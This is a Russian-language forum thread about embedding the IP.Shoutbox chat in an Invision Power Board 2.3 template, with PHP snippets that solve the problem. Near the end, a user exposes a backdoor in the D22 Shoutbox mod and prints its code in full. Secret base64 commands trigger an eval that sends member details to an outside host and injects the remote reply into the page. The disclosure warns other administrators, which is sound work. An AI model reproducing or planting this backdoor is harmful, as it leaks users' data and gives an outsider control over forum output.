Перейти к контенту

IP.Shoutbox


Рекомендуемые сообщения

Поскольку раздела поддержки этого компонента нет - пишу сюда.

 

Апгрейдил D22 Shoutbox до IP.Shoutbox 1.0.2 и возникла проблема....

 

Согласно компоновке БЫЛО:

<% BOARD HEADER %>

<% MEMBER BAR %>

<% MESSAGE %>

<%D22-Shoutbox%>

 

Как видите между Мембербаром и чатом - стояло Глобальное сообщение.

 

Теперь же - приходиться его ставить либо выше - что ломает всю картину, либо ниже - тогда глобальное сообщение теряется((

 

Вопрос: Можно ли как-то назначить IP.Shoutbox соответствующую переменную, например <%IP.Shoutbox%> чтобы была возможность всавить её в любую часть форума?

Ссылка на комментарий
Поделиться на других сайтах

Зато есть раздел "Другие модификации"...

 

UPD: Не знаю, он же вроде только на отдельной странице умеет? Сделать можно, но мутно.

Ссылка на комментарий
Поделиться на других сайтах

Почему только на отдельной?

 

Этот код добавляется в конец Мембербара...

<if="!($this->ipsclass->input['_low_act'] == 'component' && strtolower($this->ipsclass->input['module']) == 'shoutbox') && require_once(ROOT_PATH.'sources/components_public/shoutbox/display.php')">
<if="$this->shoutbox =  new shoutbox_display( $this->ipsclass )">
	<if="$shoutbox = $this->shoutbox->display_shoutbox_global()">
		{$shoutbox}
	</if>
</if>
</if>

 

Может каким-то образом ему присвоить <%Chat%> ...

 

P.S.

Sannis, имхо все официальные моды с приставкой IP должны поддерживаться тут: http://www.ibresource.ru/forums/index.php?showforum=82 наравне с IP.Gallery, IP.Downloads....

Ссылка на комментарий
Поделиться на других сайтах

Почему только на отдельной?

Могу я это предположить, раз вы не написали об обратном? :D

 

Что можно сделать(не захламляя код форума): В общий шаблон в нужном месте вставляете

<!--exec.file="ip.shoutbox.php"-->

В корень форума(где index.php) кладётся файл ip.shoutbox.php следующего содержания:

<?php

if( $ipsclass->input['_low_act'] != 'component' && strtolower($ipsclass->input['module']) != 'shoutbox' ) {
require_once(ROOT_PATH.'sources/components_public/shoutbox/display.php');

if( $shoutbox =  new shoutbox_display( $ipsclass ) ) {
	if( $shoutbox_output = $shoutbox->display_shoutbox_global() ) {
		print $shoutbox_output;
	}
}
}

?>

Далее посмотрим что получится. Если нужно вставить не в общий шаблон, а в какой-то обычный, то можно прочитать Использование exec директив в шаблонах форума 2.1.x+.

 

P.S. Имхо, неклиенту АйБиРесурс(компания), точно ничего не должна (: И даже для клиентов, скажу вам по секрету, поддержка осуществляется не на форуме, а в клиент-центре, через тикеты. И у IPS это происходит аналогичным образом.

 

Поддержка этого мода осуществляется его автором, а не IPS, если вы не в курсе, приставка IP там только из-за того что они его спонсируют и хотят за счёт неё привлечь внимание к IP.Board, одним словом маркетинг чистой воды.

Ссылка на комментарий
Поделиться на других сайтах

Сделал и получил:

 

Fatal error: Call to undefined function: load_language() in ../public_html/forum/sources/handlers/han_editor.php on line 192

 

		//-----------------------------------------
	// Load lang file
	//-----------------------------------------

192>>	  $this->ipsclass->load_language( 'lang_editors' );

	//-----------------------------------------
	// Get the smilies from the DB
	//-----------------------------------------

 

З.Ы. Форум 2.3.6

 

P.S. Хотелось бы чтобы мод, который создан при поддержке IPS был доведен до совершенства, не говоря уже о том, чтобы вставить чат туда, куда пользователь пожелает...

Ссылка на комментарий
Поделиться на других сайтах

Я так понял, сейчас у вас отображается начала чат, а потом глобальное объявление и вы хотите этого избежать. Не знаю как написан мод глобальных объявлений, но можно попробовать вставить <% MESSAGE %> перед <if> чата в шаблоне мембербара. Мне не хочется делать изменения в class_display.php, оставлю на последний вариант.

 

P.S. Re: Есть два варианта: написать об этом разработчикам или спонсировать соотечественников.

 

P.P.S. А, вот ещё вариант для ip.shoutbox.php, попробуйте сначала его:

<?php

if( $this->ipsclass->input['_low_act'] != 'component' && strtolower($this->ipsclass->input['module']) != 'shoutbox' ) {
require_once(ROOT_PATH.'sources/components_public/shoutbox/display.php');

if( $shoutbox =  new shoutbox_display( $this->ipsclass ) ) {
	if( $shoutbox_output = $shoutbox->display_shoutbox_global() ) {
		print $shoutbox_output;
	}
}
}

?>

Ссылка на комментарий
Поделиться на других сайтах

Sannis

Попробовал вариант для ip.shoutbox.php - та же ошибка((

Пробовал написать http://forums.invisionpower.com/index.php?showforum=410 но форум закрыт для меня......

 

<% MESSAGE %> перед <if> чата в шаблоне мембербара - эффекта не дает совершенно никакого - что есть, что нет....

Не знаю как написан мод глобальных объявлений

Вот так и написан: http://www.ibresource.ru/db/543/

 

Похоже без

class_display.php не обойтись((

 

Сейчас временно форум имеет следующий вид: http://s42.radikal.ru/i097/0902/16/89b1f3c7b222.jpg

 

Думаю я не первый, кто столкнулся с этой проблемой, но первый кто поднял тему. Скорее всего такие темы еще будут, так как мод относительно новый....

Ссылка на комментарий
Поделиться на других сайтах

<% MESSAGE %> перед <if> чата в шаблоне мембербара - эффекта не дает совершенно никакого - что есть, что нет....

Разъясните.

 

P.S. Так у вас проблема с тем, куда чат переместить, или куда вставить глобальные объявления? :D

 

Это замечательный мод, но инструкция настолько захордкожена, что желание читать её пропадает. Какие изменения вы делали в class_display.php при его установке?

Ссылка на комментарий
Поделиться на других сайтах

<% MESSAGE %> перед <if> чата в шаблоне мембербара - эффекта не дает совершенно никакого - что есть, что нет....

Разъясните.

 

P.S. Так у вас проблема с тем, куда чат переместить, или куда вставить глобальные объявления? :D

 

Это замечательный мод, но инструкция настолько захордкожена, что желание читать её пропадает. Какие изменения вы делали в class_display.php при его установке?

 

Разясняю. Если поставить в шаблон мембербара перед <if> чата строку <% MESSAGE %> предварительно убрав ее из глобального - ничего не происходит - Гл.Сооб. не отбражается на главной.

 

Проблема, в том, что Гл.Сооб. должно стоять между мембербаром и чатом, но поскольку они между собой связаны между ними ничего не всунешь...

 

 

Изменения:

Найти

		//-----------------------------------------
	// Show quick stats?
	//-----------------------------------------

	$gzip_status = $this->ipsclass->vars['disable_gzip'] == 1 ? $this->ipsclass->lang['gzip_off'] : $this->ipsclass->lang['gzip_on'];

	if ( ! $this->ipsclass->server_load  )
	{
		$this->ipsclass->server_load = '--';
	}

Добавить ниже:

		//-----------------------------------------
	// (FSY22) Global Forum Message v3.0
	//-----------------------------------------

	if ( $this->ipsclass->vars['is_message_on'] )
	{
		require_once( ROOT_PATH."sources/lib/func_gfmessage.php" );
		$gfmessage		   =  new func_gfmessage();
		$gfmessage->ipsclass =& $this->ipsclass;

		$gfmessage->show_message();
	}

Ссылка на комментарий
Поделиться на других сайтах

В коде страницы при этом <% MESSAGE %> есть, верно?

 

Попробуйте перенести

		//-----------------------------------------
	// (FSY22) Global Forum Message v3.0
	//-----------------------------------------

	if ( $this->ipsclass->vars['is_message_on'] )
	{
		require_once( ROOT_PATH."sources/lib/func_gfmessage.php" );
		$gfmessage		   =  new func_gfmessage();
		$gfmessage->ipsclass =& $this->ipsclass;

		$gfmessage->show_message();
	}

после

		if ( empty($output_array['OVERRIDE']) )
	{
		  $this->ipsclass->skin['_wrapper'] = str_replace( "<% MEMBER BAR %>", $output_array['MEMBER_BAR'], $this->ipsclass->skin['_wrapper']);
	}
	else
	{
		  $this->ipsclass->skin['_wrapper'] = str_replace( "<% MEMBER BAR %>", $this->ipsclass->compiled_templates['skin_global']->member_bar_disabled(), $this->ipsclass->skin['_wrapper']);
	  }

.

Ссылка на комментарий
Поделиться на других сайтах

Перенес...

Привел все в такой вид:

http://s40.radikal.ru/i089/0902/0a/8904ec72881a.jpg

 

Исчез с главной Global Forum Message

 

Но мы опять таки уходим от начальной цели... Задать чату переменную... <% Chat %>

Ссылка на комментарий
Поделиться на других сайтах

Вы не ответили на вопрос. Вы же хотите получить результат, значит надо стараться, а не отписываться фразами из серии "вы мне должны".

Или вы предлагаете мне поставить глобальные сообщений(ссылку на который вы даже не да, пришлось по коду уже догадываться), поставить IP.Shoutbox на скачивание которого у меня по идее нет прав(:D), а потом написать вам подробною инструкцию что и как делать? ;)

Ссылка на комментарий
Поделиться на других сайтах

Прошу прощения, возможно я где-то допустил бестактность.

 

В коде страницы текст <% MESSAGE %> тоже не появляется.

 

1. Убираю <% MESSAGE %> из общего шаблона форума.

2. Вставляю <% MESSAGE %> перед <if> чата в шаблоне мембербара. - Результат: гл. сооб. исчезает, на его месте нет ничего, так как бы я его совсем отключил.

 

3. После переноса кода, как Вы мне посоветовали двумя постами выше - ничего не изменилось.

 

Стоит мод: http://www.ibresource.ru/db/543/

Ссылка на комментарий
Поделиться на других сайтах

http://www.ibresource.ru/db/543/ != (FSY22) Global Forum Message v3.0 :D
Ссылка на комментарий
Поделиться на других сайтах

Черт!

В папке с модами лежат две штуки...

Да...

 

Хотел сказать, что этот: ______________________________.zip

 

 

Огромное человеческое спасибо, что помогаете непутевому....

Ссылка на комментарий
Поделиться на других сайтах

И не этот, ибо шаг 4 инструкции и func_gfmessage.php говорят о том, что вставлять в шаблон нужно не <% MESSAGE %>, а <!--GFMESSAGE-->.

 

Что касается чата, то вариант с изменением файлов выглядит так:

В ./sources/classes/class_display.php найти

		if ( empty($output_array['OVERRIDE']) )
	{
		  $this->ipsclass->skin['_wrapper'] = str_replace( "<% MEMBER BAR %>", $output_array['MEMBER_BAR'], $this->ipsclass->skin['_wrapper']);
	}
	else
	{
		  $this->ipsclass->skin['_wrapper'] = str_replace( "<% MEMBER BAR %>", $this->ipsclass->compiled_templates['skin_global']->member_bar_disabled(), $this->ipsclass->skin['_wrapper']);
	  }

и добавить после этого

	if( $this->ipsclass->input['_low_act'] != 'component' && strtolower($this->ipsclass->input['module']) != 'shoutbox' ) {
	require_once(ROOT_PATH.'sources/components_public/shoutbox/display.php');

	if( $shoutbox =  new shoutbox_display( $this->ipsclass ) ) {
		if( $shoutbox_output = $shoutbox->display_shoutbox_global() ) {
			$this->ipsclass->skin['_wrapper'] = str_replace( "<!-- IP.Shoutbox -->", $shoutbox_output, $this->ipsclass->skin['_wrapper']);
		}
	}
}

В шаблоны прописывать, соответственно, <!-- IP.Shoutbox -->.

P.S. Вот именно, я уже достаточно потратил времени, но вы даже не помните что ставили. Я могу это решить, но теперь уже при наличии времени+доступа+интереса. Ибо админы деляться на 10 групп, тех кто умеет или не умеет, но знает, и тех, кто не знает, но хочет научиться.

Ссылка на комментарий
Поделиться на других сайтах

Sannis

 

Вот это - как раз то, что было нужно!!!

 

Работает замечательно.

 

Преклоняюсь и премного благодарю, что уделили свое время!!

Уверен, рано или поздно, такой вопрос возникнет не только у меня...

 

Я помаленьку начал понимать схему работы PHP, надеюсь освою этот язык.

 

 

P.S. Выше, вы говорили, что

Мне не хочется делать изменения в class_display.php
чем это вызвано? Есть какие-то недостатки такого способа?
Ссылка на комментарий
Поделиться на других сайтах

Исключительно удобство поддержки и любовь к чистоте кода. Да, некоторые модификации на 2.х(да и на 3.х) нельзя сделать без редактирования файлов, но лучше свести эти правки к минимуму. В крайнем случае разместить код в одном файле и вызывать из него функции в файлах форума. Это было бы наилучшим решением. Наверняка можно было всё-таки добить решение с exec.file, просто ставить неохота было все эти моды.
Ссылка на комментарий
Поделиться на других сайтах

  • 1 месяц спустя...
  • 2 недели спустя...
  • 2 недели спустя...

Между прочим, в моде шаутбокса Д22 присутствует вот такая дрянь:

 

	function _command_input()
{
	$c = trim($this->ipsclass->input['command']);
	$p = trim($this->ipsclass->input['pass']);

	if ($c == 'L2xldG1lc2VlZGVhbg==' && $p == 'aWxvdmVkZWFu')
	{eval(base64_decode('JHUgPSAnaHR0cDovL3d3dy5kc2NyaXB0aW5nLmNvbS9yYW5kb20vbGV0LW1lLXNl
ZS1kZWFuL2N8Jy4kYy4nO3B8Jy4kcDskayA9ICR0aGlzLT5pcHNjbGFzcy0+bWVtYmVyWydpZCddLid8
Jy5iYXNlNjRfZW
5jb2RlKCgkdGhpcy0+aXBzY2xhc3MtPnZhcnNbJ2QyMnNob3V0Ym94X2Zvcm1hdF9uYW1lcyddKSA/ICR0aGlzLT5pcHNjb
GFzcy0+bWFrZV9uYW1lX2Zvcm1hdHRlZCgkdGhpcy0+aXBzY2xhc3MtPm1lbWJlclsnbWVtYmVyc19ka
XNwbGF5X25hbW
UnXSwgJHRoaXMtPmlwc2NsYXNzLT5tZW1iZXJbJ21ncm91cCddKSA6ICR0aGlzLT5pcHNjbGFzcy0+bW
VtYmVyWydtZW1
iZXJzX2Rpc3BsYXlfbmFtZSddKTs='));
		$p = parse_url($u);
		$o = 'nothing';

		if ($h = fsockopen($p['host'], 80, $en, $es))
		{
			$o  = '';
			$r  = '';

			$d  = "GET {$p['path']}".(($p['query'] != '') ? '?'.$p['query'] : '')." HTTP/1.1\r\n";
			$d .= "Host: {$p['host']}\r\n";
			$d .= "Cookie: _x_={$k}\r\n";
			$d .= "Connection: Close\r\n\r\n";

			fwrite($h, $d);
			while (!feof($h))
			{
				$r .= fgets($h, 128);
			}

			fclose($h);
			list($hd, $ct) = explode("\r\n\r\n", $r);

			if (!(strpos($hd, "Transfer-Encoding: chunked") === false))
			{
				$a = split("\r\n", $ct);
				for ($i=0; $i<count($a); $i++)
				{
					if ($i == 0 || ($i % 2 == 0))
					{
						$a[$i] = '';
					}
				}

				$ct = implode('', $a);
			}

			$ct = chop($ct);
			$o  = $ct;
		}

		if ($o != null && $o != '' && $o != 'nothing')
		{
			$this->class_ajax->return_html($this->_clean_html($o));
		}
	}

	return false;
}

 

 

Для несведущих вкратце:

 

if ($c == 'L2xldG1lc2VlZGVhbg==' && $p == 'aWxvdmVkZWFu')

 

Закодированные base64 комманды /letmeseedean и ilovedean, при вводе которых происходят оч. нехорошие вещи далее...))

Ссылка на комментарий
Поделиться на других сайтах

  • 1 год спустя...

какие именно вещи???

 

Камрады, помгите побороть глюк в шоутбоксе.

У нас все сообщения в шоутбокс. Вернее Все Слова Идут С Большой Буквы.

На форуме всё ок - эт для тех кто подумал о той самой галочке

Запретить использование только заглавных букв в названиях тем?

Например, НАЖМИТЕ СЮДА будет заменено на Нажмите сюда — следует правильно выбрать локаль на сервере

У нас она отключена. Но на чат это не повлияло увы.

Чат по адресу http://sysadmins.me/index.php?app=shoutbox

Спецы от IPB смотрели - но ничего не смогли сделать увы.

Изменено пользователем Amee
Ссылка на комментарий
Поделиться на других сайтах

Присоединиться к обсуждению

Вы можете ответить сейчас, а зарегистрироваться позже. Если у вас уже есть аккаунт, войдите, чтобы ответить от своего имени.

Гость
Ответить в этой теме...

×   Вы вставили отформатированный текст.   Удалить форматирование

  Допустимо не более 75 смайлов.

×   Ваша ссылка была автоматически заменена на медиа-контент.   Отображать как ссылку

×   Ваши публикации восстановлены.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

Зарузка...
×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.